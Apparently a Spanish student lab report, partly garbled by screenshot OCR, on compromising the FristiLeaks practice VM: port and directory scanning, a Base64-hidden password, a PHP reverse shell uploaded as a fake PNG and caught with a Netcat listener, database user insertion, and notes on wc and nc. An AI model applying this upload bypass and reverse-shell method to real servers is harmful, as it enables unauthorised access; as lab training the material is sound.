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1 INTRODUCCION

En el presente informe se documenta el desarrollo de un laboratorio enfocado en el analisis
de vulnerabilidades utilizando méquinas virtuales como FristiLeaks 1.3 y sistemas operativos
Kali Linux y Ubuntu. Se realizaron configuraciones de red, escaneo de puertos, enumeracion
de directorios, pruebas de fuerza bruta, carga de archivos maliciosos y ejecucion de shells
inversas. Ademads, se incluyen los comandos fundamentales para contar caracteres en
archivos (‘wc’, "awk’, “cat’) y el uso avanzado de Netcat (‘'nc’) para pruebas de conectividad,

transferencia de archivos y obtencion de acceso remoto.



2  OBJETIVOS
2.1 GENERAL

Analizar vulnerabilidades y comprender el uso de comandos esenciales en entornos Linux,
aplicando técnicas de auditoria y administracion de redes en sistemas Kali, Ubuntu y Fristy.

2.2 ESPECIFICOS

* Configurar el entorno de red para la maquina vulnerable FristiLeaks.
* Ejecutar analisis de servicios y puertos abiertos utilizando Nmap.

* Enumerar directorios y archivos ocultos con Dirb y diccionarios.
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3 ALCANCE

Este laboratorio abarca el analisis completo de una maquina vulnerable, desde su
configuracion inicial hasta la obtencion de acceso remoto. Incluye la enumeracion de
directorios, analisis de vulnerabilidades, explotacion de fallos y ejecucion de comandos
avanzados para la gestion y manipulacion de datos. También cubre el uso de Netcat para

pruebas de conectividad, transferencia de archivos y creacion de shells interactivas.



4 PLANTEAMIENTO DEL PROBLEMA

4.1

Evidencia:

Gap W

Mueva Afadir

Configuracion de la red en VirtualBox

= -

Configuracion  Descartar  Iniciar

E General Red
. Adaptador 1 Adaptador 2 Adaptader 3 Adaptador 4
@ Habilitar adaptador de red
M Pantalta
Conectado & Red NAT ~
@ SUIEEEEITED Nombre: SEMESTRE2S

(D: Audio

! @ Puertos serie
& UsB

17568331 || Carpetas compartidas ST

Puerto 1 Puerto 2

| lfl Interfaz de usuario
[J Enable Serial Port

Invalid settings detected @

| Controlador USB: OHCI
Filtros de dispositives: 0 (0 activa)

Ij Car compartidas
petas pa

=

Configuracion - 1

Tipo de adaptador:
Modo promiscuo:

Direccién MAC:

Puerto 3

Intel PRO/1000 MT Desktop (82540EM)
Permitir todo

080027A5AGTE

11

_ O @ Previ:

Search settings £ | |

B Cable conectado

Puerto 4

Cancelar Ayuda

En la primera imagen se configura el adaptador de red de la maquina FristiLeaks.

e Se utilizo la opcion Red NAT para la conexion.

e Se habilit6 el adaptador de red y se configurd el modo promiscuo en " Permitir

todo".

e Esto permite que la maquina vulnerable pueda ser detectada y atacada desde Kali

Linux.
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4.2 Obtencion de la IP de FristiLeaks

. .
Evidencia:
.
=
(52 8@
Integracién de ratén...
= Dont show again
Autocapturar teclado..
[Fristileaks 1.3 vulnerable UM by ArBxA. W Don't show again
Goal: get root (uid B) and read the flag file
hanks to dgqi and barrebas for testing?
IF address:108.18.18.11
localhost login:
(8e & |58 &l @ cTRL DERECHA
@ 24 u 25 O EP o 913a.m
Nublado mm  Q Busar RV R | ﬂ 2R BB eans

Configuracion - 2

Al iniciar la maquina FristiLeaks, se muestra en la consola la direccion IP:
IP address: 10.10.10.11

Esta direccion serd utilizada para el escaneo y andlisis posterior.
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4.3 Acceso inicial al sitio web

o .
Evidencia:
.
KALI_LINUX [Corriendo] - Oracle VirtualBox - A x
Archivo Maquina Ver Entrada Dispositivos  Ayuda
52 g
Integracién deratén..
' Don't show again
Autocapturar teclado..
aliDocs ™ Kali Forums e\ Kali NetHunter 50 Doritshow again
e,
(& & | BliR & @ 3 CTRL DERECHA
@ 20c T - o @ B ESP g21a.m.
Nublado mm  Q Busar B & 5 = 2 L)y SR s

Configuracién - 3

Se accede desde Kali Linux al sitio web alojado en FristiLeaks mediante el navegador:
http://10.10.10.11
Se visualiza la pagina principal, donde aparece un mensaje llamativo relacionado con el

reto.
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4.4 Escaneo de puertos y servicios con Nmap

Evidencia:

Nmap scan report for 10.10.10.11
Host is up (0.0012s latency).
Not shown: 984 filtered tcp ports (no-response), 15 filtered tcp ports (host-prohibi

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((Cent0S) DAV/2 PHP/5.3.3)
MAC Address: 08:00:27:A5:A6:76 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Configuracién - 4

Se ejecuto el siguiente comando:
nmap -sV 10.10.10.11
Resultados obtenidos:
e Puerto abierto: 80/tcp — Apache 2.2.15 (CentOS)
o Servicio HTTP detectado con soporte para PHP/5.3.3.
o Esto indica que existe un servidor web que podria tener vulnerabilidades

explotables.
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4.5 Verificacion de conectividad con ping

Evidencia:

— 10.10.10.11

PING 10.10.10.11 (10.10.10.11) 56(84) bytes of data.
64 bytes from 10.10.10.11: icmp_seq=1 ttl=64 time=3.
64 bytes from 10.10.10.11: icmp_seqg=2 ttl=64 time=1.
64 bytes from 10.10.10.11: icmp_seq=3 ttl=64 time=1.
64 bytes from 10.10.10.11: icmp_seq=4 ttl=64 time=1.
64 bytes from 10.10.10.11: icmp_seqg=5 ttl=64 time=1.
AT

zsh: suspended ping 10.10.10.11

~

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 16:18 CEST
Nmap scan report for 10.10.10.1

Configuracién - 5

Se comprobo la conectividad entre Kali Linux y FristiLeaks:
ping 10.10.10.11

El host respondi6 correctamente, confirmando que esté activo en la red.



16

4.6 Analisis de imagenes del sitio

Evidencia:
B mEPRo-]| 2 3 4|4
3 | 10.10.10.11/ X http://10.10.10.7 X | keep-calmpng X + Vv

« C ® O A 1010.10.1/images/keep-calmpng ¥ @ 4 =
s

OffSec Kali Linux Kali Tools « Kali Docs X Kali Forums e\ Kali NetHunter

KEEP

CALM

AND

DRINK
FRISTI

e @ & i & @ cTRL DERECHA

Configuracion - 6

En la seccion de imagenes del sitio web se encontr6 un archivo:

http://10.10.10.11/images/keep-calm.png
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El texto en la imagen sugiere que puede haber pistas ocultas para continuar el proceso

de explotacion.

4.7 Enumeracion de directorios con Dirb

Evidencia:

Service detection performed. Please report any incorrect results at https://nmap.d
Nmap done: 256 IP addresses (5 hosts up) scanned in 124.10 seconds

~

http://10.10.10.11

DIRB v2.22
By The Dark Raver

START_TIME: Thu Sep 4 16:26:48 2025
URL_BASE: http://10.10.10.11/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://10.10.10.11/ ——
+ http://10.10.10.11/cgi-bin/ (CODE:403|SIZE:210)
B—> Testing: http://10.10.10.11/discovery

%

@O =@ @@ @) CTRL DERECHA

Configuracién - 7

Se ejecuto el comando:
dirb http://10.10.10.11
Dirb encontrd varios directorios potencialmente interesantes, entre ellos:

e /cgi-bin/
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e /discovery

Estos directorios podrian contener archivos sensibles o scripts vulnerables.

4.8 Exploracion de listas de palabras para fuerza bruta

Evidencia:

/usr/share/dirb/wordlists/

/usr/share/dirb/wordlists

total 268
drwxr-xr-x
drwxr-xr-x
-TW-T—Tr—
-TW-Tr—Tr—
-TW-T—T—
-TW-Ir—T—
-TW-T—TI—
-TYW-Ir—TI—
-TW-T—TI—
drwxr-xr-x
-TW-T—TI—
-TW-Ir—Tr—
drwxr-xr-x
drwxr-xr-x

root 4096 jul 31 13:50

root 4096 jul 31 13:50

root 184073 ene 24 2012 big.txt

root 1292 ene 27 2012 catala.txt

root 35849 nov 17 2014 common.txt

root 1492 may 23 2012 euskera.txt

root 142 dic 29 2005 extensions_common.txt
root 75 mar 16 2012 indexes.txt

root 244 dic 29 2005 mutations_common.txt
root 4096 jul 31 13:50

root 6561 mar 4 2014 small.txt

root 3731 nov 12 2014 spanish.txt

root 4096 jul 31 13:50

root 4096 jul 31 13:50

NN ENRER R BB B0

/usr/share/dirb/wordlists]

Configuracion - 8

Finalmente, se verificaron los archivos disponibles en la ruta:
/ust/share/dirb/wordlists/
Aqui se encuentran listas de palabras que pueden usarse para ataques de fuerza bruta

sobre rutas, credenciales y archivos ocultos.
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COMANDO CAT COMMON.TXT
Se utiliza el comando cat common.txt para visualizar el contenido de un diccionario dentro
del directorio /usr/share/dirb/wordlists. Estos diccionarios son usados en herramientas de

fuerza bruta para descubrir directorios y archivos ocultos en servidores web.

zoom
zope
zorum
ZE

/usr/share/dirb/wordlists

common . txtl]

Configuracién - 9

SMALL.TXT.
Ejecucion de la herramienta dirb contra el objetivo http://10.10.10.11/ utilizando el
diccionario small.txt. El escaneo muestra directorios accesibles, como /images/, y

directorios con restriccion de permisos como /cgi-bin/.
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Jusr/share/dirb/wordlists
) http://10.10.10.11/ /usr/share/dirb/wordlists/small.txt

DIRB v2.22
By The Dark Raver

START_TIME: Thu Sep 4 16:35:29 2025
URL_BASE: http://10.10.10.11/
WORDLIST_FILES: /usr/share/dirb/wordlists/small.txt

GENERATED WORDS: 959

—— Scanning URL: http://10.10.10.11/ —
+ http://10.10.10.11/cgi-bin/ (CODE:403|SIZE:210)
—> DIRECTORY: http://10.10.10.11/images/

—— Entering directory: http://10.10.10.11/images/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

Configuracién - 10

4.9 Acceso al archivo robots.txt del servidor

Acceso al archivo robots.txt del servidor (http://10.10.10.11/robots.txt). Este archivo indica
rutas que el administrador no desea que los buscadores indexen, revelando directorios

interesantes: /cola, /sisi, y /beer.
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S EmPor|: 3 4|6 ]

& | 10101011 X ht 10.11/ X 10.10.10.11/robots.txt % | & NewTab

< C o O @ 10.10.10.11/robots.txt
OffSec Kali Linux #& KaliTools « KaliDocs M Kali Forums eX Kali NetHunter Exploit-DB Google Hacking DB

t: *

{0 & & | E#? &l & [#) CTRLDERECHA

B 2 mm delluvia am . - B ED oy 3:39a.m.
d viemes mm  Q Buscr E = 5 = 26y T e

Configuracion - 11

4.10 Se accede a la ruta http://10.10.10.11/cola/

Se accede a la ruta http://10.10.10.11/cola/. La respuesta del servidor devuelve un mensaje
en formato meme indicando que no es la URL correcta. Esto es un mecanismo de despiste

para los visitantes.


http://10.10.10.11/cola/
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0 a
PO 2 3 48] A g6 | & G
10.10.10.11/cola/
Q & 10.10.10.11
OffSec Kali Linux # KaliTools < KaliDocs M Kali Forums e\ Kali NetHunter

Exploit-DB Google Hacking DB

ki i -
YOU WERE LOOKING™
.

memegenerator.net

B 2 mm delluvia
J viernes

BB Q Buscar
Configuracién - 12

& & B iR & & @) CTRL DERECHA

~ & f:; B dx

4.11 Acceso ala ruta http://10.10.10.11/sisi/

Acceso a la ruta http://10.10.10.11/sisi/, donde se muestra un portal de administracion de

#fristileaks admin portal acompafiado de una imagen de burla (Nelson de Los Simpson).
Esto confirma que es un punto de interés a investigar.


http://10.10.10.11/sisi/
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e

Sm PO

B | 10.10.10.11/robots.txt M/ X 10.10.10.11/fristi/
« 5 C @ O A& 10.10.10.M
OffSec

Kali Linux # KaliTools « KaliDocs N Kali Forums e Kali NetHunter

Exploit-DB Google Hacking DB

& O 1B @ @ CTRLDERECHA
o et Qe L= B E
Configuracién - 13

ESP o 9:45a.m.
~ B LAA © ax o 4/09/2025

4.12 servicio web para decodificar un bloque en Base64

Se utiliza un servicio web para decodificar un bloque en Base64. El contenido corresponde

a una imagen en formato PNG. La salida atin contiene caracteres binarios que no se

interpretan correctamente en texto plano.
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@ @O |Q basedd decode - Bisqueda X [ Decodificacion y codificaciénde - X = (=] X
&« (& @& htips/fwww.basebddecode.org

T e e S e T e T R
2ZvTId5i6gse0tIrWabUMsR1+WrORIT2DbdWKqZS 0tMPgGISLRhzyWiWKTF DPXFmulC7e81bxnNOvb
DpYzOMN1WaplLS0w-+0aXwomXXthL8e6W-HrNdDFujoQN 1bU i

jJQjcelwepPClLNXFpigkiXfnViYSdEUpINGPFCDIyKE3dyPLpSTV2ZYnJRTROWHEIF GvSNIDU
12qmC/1/Zz22\WXi1abli0aLqiZdg5sqSxUgtiY 7syq+ubUpINdOF 2I5ENyghTi-+qDbc+QpGScS

Comienza uvFQzV5aM15LIyMriniPU12qmC+Ucqd+g6E 1JNsX16//6BtvwEQzF5YM2JLhyMLzdsNNipipSkg 1
04VajmwziEdZvmSzSE0Ybzbl/F SycgVSzZiXDNmS4ciCni+kL RngizX ThUgOhEkso2k5pGy00alq
T u P rue b a i qGIOSIVSKCEZv4+XH36v MyRalLLp+Bbhy3 jQPUNSHVjHXJmC2Fg
d @ Para binarios codificados (como imagenes, documentos, etc ) use el formulario de carga de archivos un poco mas abajo en esta pagina
Gratis
UTF-8 w Juego de caracteres de origen
P e Decodificar cada linea por separado (il para cuando tiene varias entradas).

@ Modo en vivo APAGADO  Descodifica en tiempo real a medida que escribe o pega (solo admite el juego de caracteres UTF-8).

Qs el Te] SR A Decodifica sus datos en el drea a continuacion

PNG

00

HDRQ@IMP@OKII 9994299 @sRGBOIO VO TIIAMAG S0 &€  pHYs@ SO0 T0deIRIDATX Qv Dalz
1&1%KH@f455VIs~0 0 OEO"GOx# 0000 000900 0ED "GO0 004000 0900 0ED" GO0 0AD O/O& T 33 0jO00~002~32
eL0ZZZUWSoy{K)PDIZ{EXKKL>a%ZD5B50 D 40VKKL>eTKZtn

9. 8RxgIVIHqpzORZb  JJHSDON(CI5seGiXq TK6jI D g=YxibbjsH-YuJH5NXDT(IMS
FnT3WH2j00TMIE0eD30MIHENZI3GYdMOe6 TrORD-O5]1i9M YD O

CoDOtWKIfThold [T5Ius-HY,C-GR kilg) <g Nus-0VO_uz#0_AKGESKI<T

9C}PADpOOT]OISci2hKGHOb#0* :OROJjzS0#+00°L 09010 >USE 3j5d0m#{ 0j00)0'2UqF >t Z00[Z040LZRYD OS: Of -ThFEZ
T_>sd0a60(.0UMnO|0/0ZZ00=#1T_>Trd+?87j0-}JdREZDO[00/r009000E0"GOx#000+00/r009000E0"GMx#00 000/
r009000ED"GIx#000MIADO90D0ENNZ81q@€ € €IENDB

£ Otras herramientas

B Copiar en el portapapeles

Decodificar archivos del formato Base64
Seleccione un archivo para cargar y procesar, luego puede descargar el resultado decodificado.

Privacidad [

== Q Buscar m & ~ & Ei.: & dx iy OSam

4/08/2025
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4.13 formato imagen PNG, revelando una cadena de texto

El bloque Base64 se decodifica correctamente a formato imagen PNG, revelando una
cadena de texto:

keKkeKKeKkeKkEkkEk

Este dato probablemente corresponde a una credencial o clave de acceso para el portal.



Adobe
Acrobat Pro

Conoce los
puntos clave

iY ponte manos
alaobra!

Prueba gratis

TRANSCRIBEION

Fresantamoz: Ramata 3 gananize

. * Resumen generativo

Ressiader
1 Actuplaacions da s web
il

@n Lrspamachce

Prévimos pasos
1. Campletar (3 actualaacianss

Decodificaderes
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O @ https//baseéd.guru/converter/decode/image/png

Base6b4 a PNG

Convierta Base64 a PNG en linea utilizando una herramienta de decodificacion gratuita que le permite decodificar Base64 como
imagen PNG y obtener una vista previa directamente en el navegador. En general, el convertidor "Base64 a PNG" es similar a Base64
a Image, excepto que este obliga al tipo MIME a ser "image/png". Si esta buscando el proceso inverso, marque PNG a Base64.

copiar daro descarger

Base64*

i JhEL BLCATARAAGAUHG IArsac QUIBAACK -
JwvBYQUAAAAT CEhZ cWAADSMAAATDACHVGGQAAARS SURBVHhe7d1RdtsgETVhrasLanqymmimiok 1 (]
521A0GYeNbe1//dWsQy Tgdxz2t5+ACCHHAHGRY4ABC JHAH IR IWC 8y BEAXUQIACSYBIAXOQLALXW

B4EWOAPA1RWB4kSMAVMERAF7KCAAVCESAF zkCwTscAeBF{gDuTkcAeTE JALZTEQBe5AgALSke+f
mB3yaP7/XP/SRUN2jx71M21ZdqpguzHP1+21053b9+15d/BTL2WUL 15+RMp 15 tMTKELpaH1VXI )
Zv7/d516q5e@8tIria6UMsR1+WrOR172DbdNKGZS@tMPqG1BLRhzyW Wk TFDPXFmulC7e81bxnNOvb

| Decodificar Base64 a PNG |

Vista previa de la imagen PNG | Alternar color de fondo

keKkeKKeKKeKKEKkEK

Informacién del archivo
* Resolucién: 365x75

« Tipo MIME: image/png

« Extensién: png

« Tamafio: 1.18 KB

« Descarga: image.png

» Profundidad de bits: 8

Configuracién - 15

4.14 Ingreso exitoso al portal http://10.10.10.11/frist1/login_success.php

Ingreso exitoso al portal http://10.10.10.11/frist1/login_success.php, donde se muestra el

mensaje ""Login successful" y la opcion de subir archivos. Esto indica un posible punto

de explotacion para cargar archivos maliciosos (ejemplo: un webshell).


http://10.10.10.11/frist1/login_success.php

26

x
B

« > C @ QO & 1010101

OffSec KaliLinux & KaliTools ¢ KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Login successful

upload file

& & B i & @) cTRL DERECHA

ESpR 10:11a.m.
SESITALS Rl 4/09/2025

©sc =m 2
Nublado EE Q Buscar m i

[l
&
@
@
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4.15 carga de archivos en upload.php

Se observa el formulario de carga de archivos en upload.php, donde se selecciona un
archivo para subir. La interfaz muestra un campo de seleccion y un botén para enviar el

archivo.
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mEm PO 23 4| F]

10.10.10.11/fristi/upload.php X http://10.10.10.11/fristi/

C @ QO A 10.10.10.11

OffSec Kali Linux #8 KaliTools « KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Select image to upload: -
?[9‘,”5?;:', Screenshot_2025-08-04_23_14_39.png Vl;glgardilrrﬂa’gerl

0@ B &S @ CTRLDERECHA

© 25c am = - jaaa D A ESP . uy 4o 1011am.
Nublado mm  Q Buscar B & 5 = g (S e N B D oo

Configuraciéon - 17

4.16 el directorio /uploads

Después de enviar, la pagina do_upload.php confirma que el archivo fue cargado con éxito
en el directorio /uploads. Esto indica que la aplicacion recibe y almacena archivos sin

mayores restricciones aparentes.
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—.'f“’i“'\1 2

10.10.10.17/fristi/do_upload.| X http:/ 10.11/fristif
C o O A 1010101

OffSec Kali Linux #& KaliTools « KaliDocs M Kali Forums eX Kali NetHunter Exploit-DB Google Hacking DB

Uploading, please wait
The file has been uploaded to /uploads

Configuracién - 18

4.17 intentar acceder directamente a /uploads/

Al intentar acceder directamente a /uploads/, el servidor responde con el mensaje “no!”,
lo que significa que estd bloqueado el listado de directorios. Esto evita ver el contenido,

pero no confirma si los archivos estan ejecutables o no.

B KALLUINUX [Corriendo] - Oracle VirtualBa = a
BEEmEpPReri-|1:23 +|@F]
10.10.10.11/fristifuploads/ ~ % http://10.10.10.11/fristi/

C o ’ 10.10.10.11

OffSec Kali Linux g8 KaliTools « Kali Docs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

0 & &1 E) i & @ (&) CTRL DERECHA

&GUOGL A! 0O Rucrar a o it - | = (3 = [ A~ = ESE = vt i
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4.18 Nuevo intento de carga fallido

Nuevo intento de carga fallido: el servidor rechaza el archivo e informa que solo se
permiten extensiones de imagen (png, jpg, gif). Esto confirma un filtro basico de validacion

por extension.

o

10.10.10.11/fristi/do_upload | *

I Captura de pantalla tomada

C @ QO & 101010

OffSec KaliLinux # KaliTools < KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Sorry, is not a valid file. Only allowed are: png,jpg.gif
Sorry, file not uploaded

& & | B iR &1 & [# CTRL DERECHA
28 Para la lluvia

am p - B ESP o 1036a.m.
*o10322.m. mm Q Buscar E = 3 - [ 2 C) gy SERD 4/09/2025

4.19 se abre el directorio /usr/share/webshells

En Kali Linux, se abre el directorio /ustr/share/webshells para explorar archivos de
prueba. Se observan plantillas de webshells que suelen usarse en laboratorios para simular

cargas maliciosas.
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DOWNLOADED: 4612 - FOUND: 3

/

[sudo] contrasena para rosa:

/
/usr/share/webshells

/usr/share/webshells

/usr/share/webshells

4.20 Vista interna de los ejemplos disponibles

Vista interna de los ejemplos disponibles. Aparecen archivos disenados en PHP, entre

otros, que muestran como se pueden modificar para pruebas.

/usr/share/webshells

/usr/share/webshells/php

php-backdoor.php php-reverse-shell.php qsd-php-backdoor.php simple-backdoor.php

/usr/share/webshells/php

4.21 prueba desde /usr/share/webshells

Se copia un archivo de prueba desde /usr/share/webshells hacia un directorio de trabajo

en el escritorio. Este paso permite modificarlo antes de cualquier intento de subida.
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/usr/share/webshells

/usr/share/webshells/php

php-backdoor.php php-reverse-shell.php qsd-php-backdoor.php simple-backdoor.php

/usr/share/webshells/php
php-reverse-shell.php /home/rosa/Escritorio

/usr/share/webshells/php
/home/rosa/Escritorio

/home/rosa/Escritorio
escr php-reverse-shell.php

/home/rosa/Escritorio

“a

4.22 El archivo copiado se abre en un editor de texto

El archivo copiado se abre en un editor de texto. Se observa el contenido PHP con
parametros editables (como IP y puerto), listos para ser configurados en un escenario de

prueba.

1~ | 1

Editar Vista Ayuda
root@rosa: /home/rosa/Escritorio

4.23 Explotacion via subida de archivo PHP y obtencion de shell inversa.

¢ Ruta: 10.10.10.11/fristj/uploads/rosa.php.png
e Se observa un intento de subir y ejecutar un archivo PHP disfrazado como imagen

(rosa.php.png).
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e El servidor devuelve el mensaje “no!”, lo que indica que el sistema de subida
detecto y bloqued la ejecucion del archivo malicioso.

e Abajo, en la terminal, se ve el uso de Netcat (nc -lvp 1234), lo que significa que se
estaba esperando una reverse shell desde la victima hacia el atacante.

e Logro6 establecer conexion (se ve un shell interactivo con permisos del usuario
apache), lo cual confirma que hubo explotacion exitosa a pesar de la restriccion

inicial.

10.10.10.11/fristi/uploads/ X+ 10.10.10.1/fristi/uploads/ X  +

(]
BeEEPo-|" 23 «|0PF]
|
«

X @ Q 10.10.10.11

OffSec Kali Linux & KaliTools ¢ KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

no!

5 SECCION 2 - CREACION DE 2 USUARIOS
5.1 SEAPLICALS:

Para visualizar, los comandos y los archivos
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root root L0986
root root L5296
root root (5]
root root (5]
root ot

root root

root root

root

root ot

root root

root root

root root

root root

root root LY
root root L5296
root root

root root

root root

root root

root root 4096
root root (5]
root root

root root

root root L0986

utorelabel
bin
boot

etc

home

1lib

libes
lost+found

oYWK

FREUURRREEPEURRRRRERER OB ROWNWN
MUSERUIUWUENURERUNUUeESENNUeES

"/bin/bash™)"

“import pty;pty.spawn ("/
python -c "import pty;pty.spawn ("/bin/bash
bash-4.1%




ash-4.1% cd html

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

4096
4096

4096
4096
0
0
4096

4096
4096
0

selinux
STV
55
tmp
usr
var

34
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cd var

bash-4.1% 1s -1la
1s -1la

total 76

cache
db
empty
fristigod
games
lib
local
lock
log
mail — spool/mail
nis
opt
preserve
Tun
spool
tmp
drwxr-xr-x T r 17 2 W
drws (. 27T Sep . L ¥p

bash-4&.
cd v
bash-4&.

cgi-bin
error
html
icons
notes.txt
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L
[51)

[=1]

[ I e e e e e e |
(<1}
= R o By e iy e [y o By o [y o o By o [y o (Y e iy o |
i W A W A A w o
o+

checklogin.php
do_upload.php
index.php — main_1
login_success.php
logout.php
main_login.php

[T |

a

=]
™

[=1]
=]
™

[51)

S U< Ty

.bb4
upload.php
I GERE

oW

5.2 SE INGRESA A SQL EN FRISTI:

Para ingresar, los usuarios a frity

Host name
Mysgl username

5 A O

[= M= R == g =
wmow oo

oM oW

bse.
$password” Jor die(”cannot connect”);
annot select DB”

myusername=% [ ‘'myusername’];
mypassword=$_POST[ "mypassword’];

s

L injection)

= mysqgl L
= mysgl_rea

Mysgl_num_row is counting table row
unt=mysgl_num_rows($resul




37

eep’'@d"localhost’ (

mysql -u ee
Enter password: 4113maall2f

Welcome to the MySOL monitor. Commands end with ;
Your MySQL connection id is 3

Server version: 5.1.73 Source distribution

Oracle and/or its affiliates.

OWners.
Type "help;’ or "\h' for help. Type

mysql> |

use hackmenow;
eading table information for completion of table and column names
You cam turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;

+

Tables_in_hackmenow

members

I
o
I
o
1

row in set (@.0@8 sec)

mysql> |
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how tables;
Tables_in_hackmenow

members

Mot — 4 — 4

row in set (0.00

select # from members
*# from members

username
eazeep

1 row in

insert into members (username, password) values rosa’, "'month

Query OK, 1 row affected (0.00 sec)

mysgl> insert into members (username, password) values ('dies’, ‘amor’);
insert into members (username, pa alues ("dios’, 'amor

Query OK, 1 row affected (@

mysql> |

5.3 VIZUALIZACION DE LOS USUARIOS:

Los usuarios creados mediante los comandos, SQL y ademas se inicializacion

mysgl> select * from members
om members

id password

'

+

I

n - 0@
| =V =]: kekKkekkKekKKekKkEkkEK
| r month

| amor

n

} rows : sec)

mysql> |
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Member Login
Username : rosa |

Password : |month| |

]‘ Login |

OffSec Kali Linux #& KaliTools = KaliDocs & Kali Forums e Kali NetHu

Login successful

upload file

Member Login

Username : |dios |

Password : |amor] |

' Login|
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Login successful

upload file

6 SECCION 3 - HACER LO MISMO DE CONFIGURACION DE FRITILI, EN
UBUNTU

6.1 La mac de ubuntu

Mueva Afadir Configuracion Descartar  Iniciar

‘{3 ubuntu - Settings . o (=] w @ Previs

Basic M Search settings &
E General Red

Sistema Adaptador1  Adaptador2  Adaptador3  Adaptadord
B Habilitar adaptador de red
M Fantalla B
ai
Conectado a: | Red NAT ~
Almacenamiento
MNombre:  SEMESTREZ5 ~
m Tipo de adaptador:  Intel PRO/1000 MT Desktop (282540EM) w
@ Red Modo promiscuo:  Permitir todo ~
Direccion MAC:  0800272F19CD @
@ Puertos serie
B Cable conectade
ﬁ use
58321 Ij Carpetas compartidas Puertos serie
EI Interfaz de usuario Puerto 1 Puerto 2 Puerto3  Puertod

[JJ) Enable Serial Port I
Aceptar Cancelar Ayuda

| Controlador USE: OHCI, EHCT T —
Filtros de dispositives: 0 (0 active)

7] Carpetas compartidas



6.2 La mac de fristy

NuUeva  Anaair

onTiguracion  LESCATTAr  Iniciar
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]

o =

E General Red

Sistema Adaptador 1 Adaptader2  Adaptader3  Adaptador4

|:,| Pantalla Habilitar adaptador de red L

Conectado a:  Red NAT ~
Almacenamiento
MNombre:  SEMESTRE23 ~

Tipo de adaptador:

Intel PRO/1000 MT Desktop (82540EM)

ﬂ Red Modo promiscuc: | Permitir todo ~
Direccién MAC: 080027A3A676 ®
@ Puertos serie
Cable conectado
& UsB
331 lj Carpetas compartidas Puertos serie
EI Interfaz de usuario Puerto 1 Puerto2  Puerto 2 Puerto 4
[ Enable Serial Port
R | Invalid settings detected Aceptar Cancelar Ayuda

o Controlador USB: OHCI

6.3 SE APLICA EL COMANO SUDO

:-$ sudo nano /etc/netplan/@1-network-manager-all.yaml
[sudo] contrasena para rosa:

:$I

6.4 SE VIZUALIZA ELARCHIVO

GNU nano 7.2 Jetc/netplan/01-network-manager-all.yaml

NetworkManager

08:00:27:2F:19:CD
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{23 ubuntu - Settings

M General
Sistema

M| Pantaita
Almacenamiento
QDD Audio

£ Puertos serie
(5 use

Ij Carpetas compartidas

EI Interfaz de usuario

sudo] contrasena

Red

Adaptador 1 Adaptador 2

Conectado a:

MNombre:

Adaptador 3 Adaptador 4

Red NAT ~

SEMESTREZ23

Modo promiscuo:

Direccidmn MA

Permitir todo

7

Cable conectado

Puertos serie

Puerto 1 Puerto 2

para rosa:

Puerto 3

Puerto 4

netplan apply

) 56(84)
icmp_seq=1
lcmp_seq=2
icmp_seq=3
icmp_seq=4

ttl=64
ttl=64
ttl=64
tti=64

time=2.065
time=2.11
time=1.68

ping 10.10.10.¢

Ayuda
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S ping 10.10.10.4
10.10.10.4 (10.10.10.4) 56(84) bytes of data.
10.10.10.10 icmp_seq=1 Destination Host Unreachable
10.10.10.10 icmp_seq=2 Destination Host Unreachable
10.10.10.10 icmp_seq=3 Destination Host Unreachable
10.10.10.10 icmp_seq=4 Destination Host Unreachable

10.10.10.10 icmp_seq=5 Destination Host Unreachable
10.10.10.10 icmp_seq=6 Destination Host Unreachable

Detenido ping 10.10.10.4

7 SECCION 4 — COMANDOS PARA CALCULAR CUANTOS CARACTERES
TIENE UN ARCHIVO

En Kali Linux, Fristy, Parrot, Ubuntu y otras distros, los comandos principales para

contar caracteres son los mismos. Te muestro las mejores opciones:

7.1 Usando wc (Word Count) — El mas usado

El comando wc sirve para contar caracteres, palabras y lineas.
Sintaxis basica:

wc -m nombre_archivo

Ejemplo practico:

WC -m notas.txt

Salida:

350 notas.txt

Significa que el archivo notas.txt tiene 350 caracteres.
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7.2 Usando cat + wc

Podemos combinar cat para mostrar el contenido y wc para contarlo.
cat notas.txt | wc -m
Resultado:

También muestra 350, pero sin el nombre del archivo.

7.3 Usando awk

El comando awk también puede contar caracteres de forma precisa:
awk '{ total += length($0) } END { print total }' notas.txt
Explicacion:

e length($0) — cuenta los caracteres por linea.

e total += — suma todos los caracteres.

e END — muestra el resultado final.

7.4 Usando wc -c (incluye saltos de linea)

Si quieres contar los bytes reales del archivo, incluyendo los saltos de linea:
WC -C notas.txt

e Siusas UTF-8 y hay caracteres especiales, este comando es mas preciso.

7.5 Ejemplo practico con varios archivos

Para contar caracteres de todos los archivos .txt en una carpeta:
wce -m * txt
Salida ejemplo:

350 notas.txt
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180 tareas.txt

520 total

8 SECCION 5 — INVESTIGAR LOS COMANDOS DEL nc (NETCAT)

El comando nc (Netcat) es una herramienta muy poderosa que se utiliza en Kali Linux,
Fristy, Parrot, Ubuntu, etc., para comunicacion de redes, transferencia de archivos,
escaneo de puertos y depuracion de conexiones.

Se conoce como la ""navaja suiza de las redes".

8.1  Verificar si Netcat esta instalado
nc -h
Si no estd instalado en Ubuntu/Fristy, puedes instalarlo:

sudo apt install netcat

8.2 Uso basico de nc

a) Crear un servidor TCP (modo escucha)
nc -lvp 4444
Explicacion:
e -l — modo escucha.
e -v — modo verbose (muestra detalles).
e -p 4444 — puerto de escucha.
b) Conectarse a un servidor usando Netcat
nc 192.168.1.100 4444
Esto abre una conexién hacia la IP 192.168.1.100 en el puerto 4444.

¢) Transferir archivos con Netcat



En la maquina receptora (modo escucha):
nc -lvp 4444 > archivo_recibido.txt
En la maquina emisora (envia el archivo):

nc 192.168.1.100 4444 < archivo_original.txt

Esto transfiere archivo_original.txt a la otra maquina.

